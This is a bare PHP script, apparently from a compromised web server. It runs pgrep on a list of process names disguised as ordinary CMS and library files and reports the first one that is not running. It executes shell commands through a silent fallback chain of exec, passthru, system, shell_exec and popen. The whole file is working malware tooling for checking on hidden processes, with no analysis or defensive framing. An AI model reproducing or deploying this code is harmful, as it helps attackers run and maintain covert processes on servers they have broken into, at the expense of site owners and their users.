<?php   $files = ['loadmodule','usergroups.inc','address_book','sched_funcs','XHTMLAndHTML4','GoogleSpell','AttrValidator','db_datadict','corpo_mod','xoopseditor','AccessLib.class','toolbar.sh404sef','hpa_panel','core.is_secure','optionGenerator','phorum.inc','a_menu_dx_lingue','sais_inv_step2','thread.inc','Highlight','ele_radio','class.wsdlcache','edit.topic','catalog_confirm','assignment_nrm','affiliate','singlepic','UnderThesisProj','formradioyn','banned.add']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }